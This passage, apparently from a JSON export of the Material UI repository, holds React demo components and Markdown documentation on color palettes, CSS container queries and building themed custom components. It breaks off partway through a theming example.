64,\n              display: 'flex',\n              justifyContent: 'center',\n              alignItems: 'center',\n            }}\n            style={{ backgroundColor: background[key] }}\n            key={key}\n          >\n            <Typography\n              variant=\"caption\"\n              style={{\n                color: theme.palette.getContrastText(background[key]),\n              }}\n            >\n              {rgbToHex(background[key])}\n            </Typography>\n          </Box>\n        ))}\n      </Grid>\n    );\n  };\n\n  const colorPicker = (intent) => {\n    const intentInput = state[`${intent}Input`];\n    const intentShade = state[`${intent}Shade`];\n    const color = state[`${intent}`];\n\n    return (\n      <Grid\n        size={{\n          xs: 12,\n          sm: 6,\n          md: 4,\n        }}\n      >\n        <Typography component=\"label\" gutterBottom htmlFor={intent} variant=\"h6\">\n          {capitalize(intent)}\n        </Typography>\n        <Input\n          id={intent}\n          value={intentInput}\n          onChange={handleChangeColor(intent)}\n          fullWidth\n        />\n        <Box sx={{ display: 'flex', alignItems: 'center', mt: 2, mb: 2 }}>\n          <Typography id={`${intent}ShadeSliderLabel`}>Shade:</Typography>\n          <Slider\n            sx={{ width: 'calc(100% - 80px)', ml: 3, mr: 3 }}\n            value={intentShade}\n            min={0}\n            max={13}\n            step={1}\n            onChange={handleChangeShade(intent)}\n            aria-labelledby={`${intent}ShadeSliderLabel`}\n          />\n          <Typography sx={{ minWidth: 40 }}>{shades[intentShade]}</Typography>\n        </Box>\n        <Box sx={{ width: 192 }}>\n          {hues.map((hue) => {\n            const shade =\n              intent === 'primary'\n                ? shades[state.primaryShade]\n                : shades[state.secondaryShade];\n            const backgroundColor = colors[hue][shade];\n\n            return (\n              <Tooltip placement=\"right\" title={hue} key={hue} disableInteractive>\n                <TooltipRadio\n                  sx={{ p: 0 }}\n                  color=\"default\"\n                  checked={state[intent] === backgroundColor}\n                  onChange={handleChangeHue(intent)}\n                  value={hue}\n                  name={intent}\n                  icon={\n                    <Box\n                      sx={{ width: 48, height: 48 }}\n                      style={{ backgroundColor }}\n                    />\n                  }\n                  checkedIcon={\n                    <Box\n                      sx={{\n                        width: 48,\n                        height: 48,\n                        border: 1,\n                        borderColor: 'white',\n                        color: 'common.white',\n                        display: 'flex',\n                        justifyContent: 'center',\n                        alignItems: 'center',\n                      }}\n                      style={{ backgroundColor }}\n                    >\n                      <CheckIcon style={{ fontSize: 30 }} />\n                    </Box>\n                  }\n                />\n              </Tooltip>\n            );\n          })}\n        </Box>\n        {colorBar(color)}\n      </Grid>\n    );\n  };\n\n  return (\n    <Grid container spacing={5} sx={{ p: 0 }}>\n      {colorPicker('primary')}\n      {colorPicker('secondary')}\n      <Grid\n        size={{\n          xs: 12,\n          sm: 6,\n          md: 4,\n        }}\n      >\n        <ColorDemo data={state} />\n      </Grid>\n      <Grid size={12}>\n        <Button variant=\"contained\" onClick={handleChangeDocsColors}>\n          Set Docs Colors\n        </Button>\n        <Button variant=\"outlined\" onClick={handleResetDocsColors} sx={{ ml: 1 }}>\n          Reset Docs Colors\n        </Button>\n      </Grid>\n    </Grid>\n  );\n}\n\nexport default ColorTool;\n"
  },
  {
    "path": "docs/data/material/customization/color/color.md",
    "content": "# Color\n\n<p class=\"description\">Convey meaning through color. Out of the box you get access to all colors in the Material Design guidelines.</p>\n\nThe Material Design [color system](https://m2.material.io/design/color/) can be used to create a color theme that reflects your brand or style.\n\n## Picking colors\n\n### Official color tool\n\nThe Material Design team has also built an awesome palette configuration tool: [material.io/resources/color/](https://m2.material.io/inline-tools/color/).\nThis can help you create a color palette for your UI, as well as measure the accessibility level of any color combination.\n\n<a href=\"https://m2.material.io/inline-tools/color/\" target=\"_blank\" rel=\"noopener nofollow\" class=\"remove-link-arrow\">\n  <img src=\"/static/images/color/colorTool.png\" alt=\"Official color tool\" style=\"width: 574px\" width=1148\" height=\"610\" />\n</a>\n<br />\n<br />\n\nThe output can be fed into `createTheme()` function:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      light: '#757ce8',\n      main: '#3f50b5',\n      dark: '#002884',\n      contrastText: '#fff',\n    },\n    secondary: {\n      light: '#ff7961',\n      main: '#f44336',\n      dark: '#ba000d',\n      contrastText: '#000',\n    },\n  },\n});\n```\n\n### Playground\n\nTo test a [material.io/design/color](https://m2.material.io/design/color/) color scheme with the Material UI documentation, simply select colors using the palette and sliders below.\nAlternatively, you can enter hex values in the Primary and Secondary text fields.\n\n{{\"demo\": \"ColorTool.js\", \"hideToolbar\": true, \"bg\": true}}\n\nThe output shown in the color sample can be pasted directly into a [`createTheme()`](/material-ui/customization/theming/#createtheme-options-args-theme) function (to be used with [`ThemeProvider`](/material-ui/customization/theming/#theme-provider)):\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\nimport { purple } from '@mui/material/colors';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: purple[500],\n    },\n    secondary: {\n      main: '#f44336',\n    },\n  },\n});\n```\n\nOnly the `main` shades need to be provided (unless you wish to further customize `light`, `dark` or `contrastText`), as the other colors will be calculated by `createTheme()`, as described in the [Theme customization](/material-ui/customization/palette/) section.\n\nIf you are using the default primary and / or secondary shades then by providing the color object, `createTheme()` will use the appropriate shades from the material color for main, light and dark.\n\n### Tools by the community\n\n- [mui-theme-creator](https://zenoo.github.io/mui-theme-creator/): A tool to help design and customize themes for the Material UI component library. Includes basic site templates to show various components and how they are affected by the theme\n- [MUI Theme Builder](https://petertyliu.github.io/mui-theme-builder/): A tool to generate, preview, and edit Material UI themes\n- [Material palette generator](https://m2.material.io/inline-tools/color/): The Material palette generator can be used to generate a palette for any color you input.\n\n## 2014 Material Design color palettes\n\nThese color palettes, originally created by Material Design in 2014, are comprised of colors designed to work together harmoniously, and can be used to develop your brand palette. To generate your own harmonious palettes, use the palette generation tool.\n\n### Important Terms\n\n- **Palette**: A palette is a collection of colors, that is hues and their shades. Material UI provides all colors from the Material Design guidelines.\n  [This color palette](#color-palette) has been designed with colors that work harmoniously with each other.\n- **Hue & Shade**: A single color within the palette is made up of a hue such as \"red\", and shade, such as \"500\".\n  \"red 50\" is the lightest shade of red (_pink!_), while \"red 900\" is the darkest.\n  In addition, most hues come with \"accent\" shades, prefixed with an `A`.\n\n### Color palette\n\nGiven a _HUE_ (red, pink, etc.) and a _SHADE_ (500, 600, etc.) you can import the color like this:\n\n```jsx\nimport { red } from '@mui/material/colors';\n\nconst color = red[500];\n```\n\n{{\"demo\": \"Color.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n\n### Examples\n\nFor instance, you can refer to complementary primary and accent colors, \"red 500\" and \"purple A200\" like so:\n\n```js\nimport { purple, red } from '@mui/material/colors';\n\nconst primary = red[500]; // #f44336\nconst accent = purple['A200']; // #e040fb\nconst accent = purple.A200; // #e040fb (alternative method)\n```\n\n### Accessibility\n\n[WCAG 2.1 Rule 1.4.3](https://www.w3.org/WAI/WCAG21/Understanding/contrast-minimum.html) does recommend\nthat you have a minimum of a 4.5:1 contrast ratio for the visual presentation of text and images of text.\nMaterial UI currently only enforces a 3:1 contrast ratio. If you would like to meet WCAG 2.1 AA compliance,\nyou can increase your minimum contrast ratio as described in the\n[Theme customization](/material-ui/customization/palette/#accessibility) section.\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/BasicContainerQueries.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport ResizableDemo from './ResizableDemo';\n\nconst DynamicCard = styled(Card)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  [theme.containerQueries.up(350)]: {\n    flexDirection: 'row',\n  },\n}));\n\nconst Image = styled('img')(({ theme }) => ({\n  alignSelf: 'stretch',\n  aspectRatio: '16 / 9',\n  objectFit: 'cover',\n  width: '100%',\n  maxHeight: 160,\n  transition: '0.4s',\n  [theme.containerQueries.up(350)]: {\n    maxWidth: '36%',\n    maxHeight: 'initial',\n  },\n  [theme.containerQueries.up(500)]: {\n    maxWidth: 240,\n  },\n}));\n\nconst Content = styled(CardContent)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(1),\n  padding: theme.spacing(2),\n  flex: 'auto',\n  transition: 'padding 0.4s',\n  [theme.containerQueries.up(500)]: {\n    padding: theme.spacing(3),\n  },\n}));\n\nexport default function BasicContainerQueries() {\n  return (\n    <ResizableDemo>\n      <Box\n        sx={{\n          overflow: 'auto',\n          resize: 'horizontal',\n          width: 400,\n          maxWidth: 'min(80vw, 600px)',\n          containerType: 'inline-size', // required for container queries\n        }}\n      >\n        <DynamicCard variant=\"outlined\">\n          <Image\n            alt=\"The house from the offer.\"\n            src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n          />\n          <Content>\n            <div>\n              <Typography\n                component=\"div\"\n                sx={{ color: 'text.secondary', fontSize: '0.875rem' }}\n              >\n                123 Main St, Phoenix AZ\n              </Typography>\n              <Typography\n                component=\"div\"\n                sx={{\n                  color: 'primary.main',\n                  fontSize: '1.125rem',\n                  fontWeight: 'bold',\n                }}\n              >\n                $280,000 — $310,000\n              </Typography>\n            </div>\n            <Chip\n              size=\"small\"\n              label=\"Confidence score: 85%\"\n              sx={{ p: 0, width: 'fit-content' }}\n            />\n          </Content>\n        </DynamicCard>\n      </Box>\n    </ResizableDemo>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/BasicContainerQueries.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport ResizableDemo from './ResizableDemo';\n\nconst DynamicCard = styled(Card)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  [theme.containerQueries.up(350)]: {\n    flexDirection: 'row',\n  },\n}));\n\nconst Image = styled('img')(({ theme }) => ({\n  alignSelf: 'stretch',\n  aspectRatio: '16 / 9',\n  objectFit: 'cover',\n  width: '100%',\n  maxHeight: 160,\n  transition: '0.4s',\n  [theme.containerQueries.up(350)]: {\n    maxWidth: '36%',\n    maxHeight: 'initial',\n  },\n  [theme.containerQueries.up(500)]: {\n    maxWidth: 240,\n  },\n}));\n\nconst Content = styled(CardContent)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(1),\n  padding: theme.spacing(2),\n  flex: 'auto',\n  transition: 'padding 0.4s',\n  [theme.containerQueries.up(500)]: {\n    padding: theme.spacing(3),\n  },\n}));\n\nexport default function BasicContainerQueries() {\n  return (\n    <ResizableDemo>\n      <Box\n        sx={{\n          overflow: 'auto',\n          resize: 'horizontal',\n          width: 400,\n          maxWidth: 'min(80vw, 600px)',\n          containerType: 'inline-size', // required for container queries\n        }}\n      >\n        <DynamicCard variant=\"outlined\">\n          <Image\n            alt=\"The house from the offer.\"\n            src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n          />\n          <Content>\n            <div>\n              <Typography\n                component=\"div\"\n                sx={{ color: 'text.secondary', fontSize: '0.875rem' }}\n              >\n                123 Main St, Phoenix AZ\n              </Typography>\n              <Typography\n                component=\"div\"\n                sx={{\n                  color: 'primary.main',\n                  fontSize: '1.125rem',\n                  fontWeight: 'bold',\n                }}\n              >\n                $280,000 — $310,000\n              </Typography>\n            </div>\n            <Chip\n              size=\"small\"\n              label=\"Confidence score: 85%\"\n              sx={{ p: 0, width: 'fit-content' }}\n            />\n          </Content>\n        </DynamicCard>\n      </Box>\n    </ResizableDemo>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/ResizableDemo.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\n\nconst Line = styled('div')(({ theme }) => ({\n  position: 'absolute',\n  height: '100vh',\n  top: 0,\n  transform: 'translateY(-400px)',\n  left: 0,\n  borderLeft: '1px dashed',\n  borderColor: (theme.vars || theme).palette.divider,\n  color: (theme.vars || theme).palette.text.secondary,\n  fontSize: '0.75rem',\n  fontFamily: 'Menlo, monospace',\n  '& span': {\n    position: 'absolute',\n    top: 'calc(400px - 1em)',\n    left: 4,\n  },\n}));\n\nexport default function ResizableDemo({ children }) {\n  return (\n    <Box\n      sx={{\n        position: 'relative',\n        paddingBlock: 2,\n        ml: 2,\n        mr: 'auto',\n        '*:has(> &)': {\n          overflow: 'hidden',\n        },\n      }}\n    >\n      <Line>\n        <span>0px</span>\n      </Line>\n      <Line sx={{ left: 350 }}>\n        <span>350px</span>\n      </Line>\n      <Line sx={{ left: 500 }}>\n        <span>500px</span>\n      </Line>\n      {children}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/SxPropContainerQueries.js",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport ResizableDemo from './ResizableDemo';\n\nexport default function SxPropContainerQueries() {\n  return (\n    <ResizableDemo>\n      <Box\n        sx={{\n          overflow: 'auto',\n          resize: 'horizontal',\n          width: 400,\n          maxWidth: 'min(80vw, 600px)',\n          containerType: 'inline-size', // required for container queries\n        }}\n      >\n        <Card\n          variant=\"outlined\"\n          sx={{\n            display: 'flex',\n            flexDirection: {\n              '@': 'column',\n              '@350': 'row',\n            },\n          }}\n        >\n          <Box\n            component=\"img\"\n            alt=\"The house from the offer.\"\n            src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n            sx={{\n              alignSelf: 'stretch',\n              aspectRatio: '16 / 9',\n              objectFit: 'cover',\n              width: '100%',\n              maxHeight: {\n                '@': 160,\n                '@350': 'initial',\n              },\n              maxWidth: {\n                '@350': '36%',\n                '@500': 240,\n              },\n              transition: '0.4s',\n            }}\n          />\n          <CardContent\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              gap: 1,\n              padding: {\n                '@': 2,\n                '@500': 3,\n              },\n              flex: 'auto',\n              transition: 'padding 0.4s',\n            }}\n          >\n            <div>\n              <Typography\n                component=\"div\"\n                sx={{ color: 'text.secondary', fontSize: '0.875rem' }}\n              >\n                123 Main St, Phoenix AZ\n              </Typography>\n              <Typography\n                component=\"div\"\n                sx={{\n                  color: 'primary.main',\n                  fontSize: '1.125rem',\n                  fontWeight: 'bold',\n                }}\n              >\n                $280,000 — $310,000\n              </Typography>\n            </div>\n            <Chip\n              size=\"small\"\n              label=\"Confidence score: 85%\"\n              sx={{ p: 0, width: 'fit-content' }}\n            />\n          </CardContent>\n        </Card>\n      </Box>\n    </ResizableDemo>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/SxPropContainerQueries.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport ResizableDemo from './ResizableDemo';\n\nexport default function SxPropContainerQueries() {\n  return (\n    <ResizableDemo>\n      <Box\n        sx={{\n          overflow: 'auto',\n          resize: 'horizontal',\n          width: 400,\n          maxWidth: 'min(80vw, 600px)',\n          containerType: 'inline-size', // required for container queries\n        }}\n      >\n        <Card\n          variant=\"outlined\"\n          sx={{\n            display: 'flex',\n            flexDirection: {\n              '@': 'column',\n              '@350': 'row',\n            },\n          }}\n        >\n          <Box\n            component=\"img\"\n            alt=\"The house from the offer.\"\n            src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n            sx={{\n              alignSelf: 'stretch',\n              aspectRatio: '16 / 9',\n              objectFit: 'cover',\n              width: '100%',\n              maxHeight: {\n                '@': 160,\n                '@350': 'initial',\n              },\n              maxWidth: {\n                '@350': '36%',\n                '@500': 240,\n              },\n              transition: '0.4s',\n            }}\n          />\n          <CardContent\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              gap: 1,\n              padding: {\n                '@': 2,\n                '@500': 3,\n              },\n              flex: 'auto',\n              transition: 'padding 0.4s',\n            }}\n          >\n            <div>\n              <Typography\n                component=\"div\"\n                sx={{ color: 'text.secondary', fontSize: '0.875rem' }}\n              >\n                123 Main St, Phoenix AZ\n              </Typography>\n              <Typography\n                component=\"div\"\n                sx={{\n                  color: 'primary.main',\n                  fontSize: '1.125rem',\n                  fontWeight: 'bold',\n                }}\n              >\n                $280,000 — $310,000\n              </Typography>\n            </div>\n            <Chip\n              size=\"small\"\n              label=\"Confidence score: 85%\"\n              sx={{ p: 0, width: 'fit-content' }}\n            />\n          </CardContent>\n        </Card>\n      </Box>\n    </ResizableDemo>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/container-queries/container-queries.md",
    "content": "# Container queries\n\n<p class=\"description\">Material UI provides a utility function for creating CSS container queries based on theme breakpoints.</p>\n\n## Usage\n\nTo create [CSS container queries](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_queries), use `theme.containerQueries` with any method available in the [`theme.breakpoints`](/material-ui/customization/breakpoints/#api).\nThe value can be unitless (in which case it'll be rendered in pixels), a string, or a breakpoint key. For example:\n\n```js\ntheme.containerQueries.up('sm'); // => '@container (min-width: 600px)'\n```\n\n{{\"demo\": \"BasicContainerQueries.js\"}}\n\n:::info\nOne of the ancestors must have the CSS container type specified.\n:::\n\n### Named containment contexts\n\nTo refer to a [containment context](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_queries#naming_containment_contexts), call the `containerQueries` method with the name of the container for access to all breakpoint methods:\n\n```js\ntheme.containerQueries('sidebar').up('500px'); // => '@container sidebar (min-width: 500px)'\n```\n\n## Shorthand syntax\n\nWhen adding styles using the `sx` prop, use the `@<size>` or `@<size>/<name>` notation to apply container queries without referring to the theme.\n\n- `<size>`: a width or a breakpoint key.\n- `<name>` (optional): a named containment context.\n\n{{\"demo\": \"SxPropContainerQueries.js\"}}\n\n### Caveats\n\n- The `@` prefix with a unitless value renders as `px`, so `@500` is equivalent to `500px`—but `@500px` is incorrect syntax and won't render correctly.\n- `@` with no number renders as `0px`.\n- Container queries must share the same units (the sizes can be defined in any order), as shown below:\n\n  ```js\n  // ✅ These container queries will be sorted correctly.\n  padding: {\n    '@40em': 4,\n    '@20em': 2,\n    '@': 0,\n  }\n\n  // ❌ These container queries won't be sorted correctly\n  //    because 40em is typically greater than 50px\n  //    and the units don't match.\n  padding: {\n    '@40em': 4,\n    '@50': 2,\n    '@': 0,\n  }\n  ```\n\n## API\n\nCSS container queries support all the methods available in [the breakpoints API](/material-ui/customization/breakpoints/#api).\n\n```js\n// For default breakpoints\ntheme.containerQueries.up('sm'); // => '@container (min-width: 600px)'\ntheme.containerQueries.down('md'); // => '@container (max-width: 900px)'\ntheme.containerQueries.only('md'); // => '@container (min-width: 600px) and (max-width: 900px)'\ntheme.containerQueries.between('sm', 'lg'); // => '@container (min-width: 600px) and (max-width: 1200px)'\ntheme.containerQueries.not('sm'); // => '@container (max-width: 600px)'\n```\n"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/StatComponent.js",
    "content": "import { styled } from '@mui/material/styles';\n\nconst StatRoot = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n}));\n\nconst StatValue = styled('div')(({ theme }) => ({\n  ...theme.typography.h3,\n}));\n\nconst StatUnit = styled('div')(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    color: 'inherit',\n  }),\n}));\n\nexport default function StatComponent() {\n  return (\n    <StatRoot>\n      <StatValue>19,267</StatValue>\n      <StatUnit>Active users / month</StatUnit>\n    </StatRoot>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/StatFullTemplate.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Stack from '@mui/material/Stack';\nimport { styled, useThemeProps } from '@mui/material/styles';\n\nconst StatRoot = styled('div', {\n  name: 'MuiStat',\n  slot: 'root',\n})(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  variants: [\n    {\n      props: {\n        variant: 'outlined',\n      },\n      style: {\n        border: `2px solid ${theme.palette.divider}`,\n        boxShadow: 'none',\n      },\n    },\n  ],\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n}));\n\nconst StatValue = styled('div', {\n  name: 'MuiStat',\n  slot: 'value',\n})(({ theme }) => ({\n  ...theme.typography.h3,\n}));\n\nconst StatUnit = styled('div', {\n  name: 'MuiStat',\n  slot: 'unit',\n})(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    color: 'inherit',\n  }),\n}));\n\nconst Stat = React.forwardRef(function Stat(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiStat' });\n  const { value, unit, variant, ...other } = props;\n\n  const ownerState = { ...props, variant };\n\n  return (\n    <StatRoot ref={ref} ownerState={ownerState} {...other}>\n      <StatValue ownerState={ownerState}>{value}</StatValue>\n      <StatUnit ownerState={ownerState}>{unit}</StatUnit>\n    </StatRoot>\n  );\n});\n\nStat.propTypes = {\n  unit: PropTypes.string.isRequired,\n  value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n  variant: PropTypes.oneOf(['outlined']),\n};\n\nexport default function StatFullTemplate() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Stat value=\"1.9M\" unit=\"Favorites\" />\n      <Stat value=\"5.1M\" unit=\"Views\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/StatFullTemplate.tsx",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport { styled, useThemeProps } from '@mui/material/styles';\n\nexport interface StatProps {\n  value: number | string;\n  unit: string;\n  variant?: 'outlined';\n}\n\ninterface StatOwnerState extends StatProps {\n  // …key value pairs for the internal state that you want to style the slot\n  // but don't want to expose to the users\n}\n\nconst StatRoot = styled('div', {\n  name: 'MuiStat',\n  slot: 'root',\n})<{ ownerState: StatOwnerState }>(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  variants: [\n    {\n      props: {\n        variant: 'outlined',\n      },\n      style: {\n        border: `2px solid ${theme.palette.divider}`,\n        boxShadow: 'none',\n      },\n    },\n  ],\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n}));\n\nconst StatValue = styled('div', {\n  name: 'MuiStat',\n  slot: 'value',\n})<{ ownerState: StatOwnerState }>(({ theme }) => ({\n  ...theme.typography.h3,\n}));\n\nconst StatUnit = styled('div', {\n  name: 'MuiStat',\n  slot: 'unit',\n})<{ ownerState: StatOwnerState }>(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    color: 'inherit',\n  }),\n}));\n\nconst Stat = React.forwardRef<HTMLDivElement, StatProps>(\n  function Stat(inProps, ref) {\n    const props = useThemeProps({ props: inProps, name: 'MuiStat' });\n    const { value, unit, variant, ...other } = props;\n\n    const ownerState = { ...props, variant };\n\n    return (\n      <StatRoot ref={ref} ownerState={ownerState} {...other}>\n        <StatValue ownerState={ownerState}>{value}</StatValue>\n        <StatUnit ownerState={ownerState}>{unit}</StatUnit>\n      </StatRoot>\n    );\n  },\n);\n\nexport default function StatFullTemplate() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Stat value=\"1.9M\" unit=\"Favorites\" />\n      <Stat value=\"5.1M\" unit=\"Views\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/StatFullTemplate.tsx.preview",
    "content": "<Stat value=\"1.9M\" unit=\"Favorites\" />\n<Stat value=\"5.1M\" unit=\"Views\" variant=\"outlined\" />"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/StatSlots.js",
    "content": "import { styled } from '@mui/material/styles';\n\nconst StatRoot = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n}));\n\nconst StatValue = styled('div')(({ theme }) => ({\n  ...theme.typography.h3,\n}));\n\nconst StatUnit = styled('div')(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    color: 'inherit',\n  }),\n}));\n\nconst Label = styled('div')(({ theme }) => ({\n  borderRadius: '2px',\n  padding: theme.spacing(0, 1),\n  color: 'white',\n  position: 'absolute',\n  ...theme.typography.body2,\n  fontSize: '0.75rem',\n  fontWeight: 500,\n  backgroundColor: '#ff5252',\n}));\n\nexport default function StatSlots() {\n  return (\n    <StatRoot\n      sx={{ outline: '1px solid #ff5252', outlineOffset: 4, position: 'relative' }}\n    >\n      <StatValue sx={{ outline: '1px solid #ff5252', position: 'relative' }}>\n        19,267\n        <Label sx={{ right: 0, top: 4, transform: 'translateX(100%)' }}>value</Label>\n      </StatValue>\n      <StatUnit sx={{ outline: '1px solid #ff5252', position: 'relative' }}>\n        Active users / month\n        <Label sx={{ right: 0, top: 2, transform: 'translateX(100%)' }}>unit</Label>\n      </StatUnit>\n      <Label sx={{ left: -4, top: 4, transform: 'translateX(-100%)' }}>root</Label>\n    </StatRoot>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/creating-themed-components/creating-themed-components.md",
    "content": "# Creating themed components\n\n<p class=\"description\">Learn how to create fully custom components that accept your app's theme.</p>\n\n## Introduction\n\nMaterial UI provides a powerful theming feature that lets you add your own components to the theme and treat them as if they're built-in components.\n\nIf you are building a component library on top of Material UI, you can follow the step-by-step guide below to create a custom component that is themeable across multiple projects.\n\nAlternatively, you can use the provided [template](#template) as a starting point for your component.\n\n:::info\nYou don't need to connect your component to the theme if you are only using it in a single project.\n:::\n\n## Step-by-step guide\n\nThis guide will walk you through how to build this statistics component, which accepts the app's theme as though it were a built-in Material UI component:\n\n{{\"demo\": \"StatComponent.js\", \"hideToolbar\": true}}\n\n### 1. Create the component slots\n\nSlots let you customize each individual element of the component by targeting its respective name in the [theme's styleOverrides](/material-ui/customization/theme-components/#theme-style-overrides) and [theme's variants](/material-ui/customization/theme-components/#variants).\n\nThis statistics component is composed of three slots:\n\n- `root`: the container of the component\n- `value`: the number of the statistics\n- `unit`: the unit or description of the statistics\n\n:::success\nThough you can give these slots any names you prefer, we recommend using `root` for the outermost container element for consistency with the rest of the library.\n:::\n\n{{\"demo\": \"StatSlots.js\", \"hideToolbar\": true}}\n\nUse the `styled` API with `name` and `slot` parameters to create the slots, as shown below:\n\n```js\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\n\nconst StatRoot = styled('div', {\n  name: 'MuiStat', // The component name\n  slot: 'root', // The slot name\n})(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n}));\n\nconst StatValue = styled('div', {\n  name: 'MuiStat',\n  slot: 'value',\n})(({ theme }) => ({\n  ...theme.typography.h3,\n}));\n\nconst StatUnit = styled('div', {\n  name: 'MuiStat',\n  slot: 'unit',\n})(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n}));\n```\n\n### 2. Create the component\n\nAssemble the component using the slots created in the previous step:\n\n```js\n// /path/to/Stat.js\nimport * as React from 'react';\n\nconst StatRoot = styled('div', {\n  name: 'MuiStat',\n  slot: 'root',\n})(…);\n\nconst StatValue = styled('div', {\n  name: 'MuiStat',\n  slot: 'value',\n})(…);\n\nconst StatUnit = styled('div', {\n  name: 'MuiStat',\n  slot: 'unit',\n})(…);\n\nconst Stat = React.forwardRef(function Stat(props, ref) {\n  const { value, unit, ...other } = props;\n\n  return (\n    <StatRoot ref={ref} {...other}>\n      <StatValue>{value}</StatValue>\n      <StatUnit>{unit}</StatUnit>\n    </StatRoot>\n  );\n});\n\nexport default Stat;\n```\n\nAt this point, you'll be able to apply the theme to the `Stat` component like this:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    // the component name defined in the `name` parameter\n    // of the `styled` API\n    MuiStat: {\n      styleOverrides: {\n  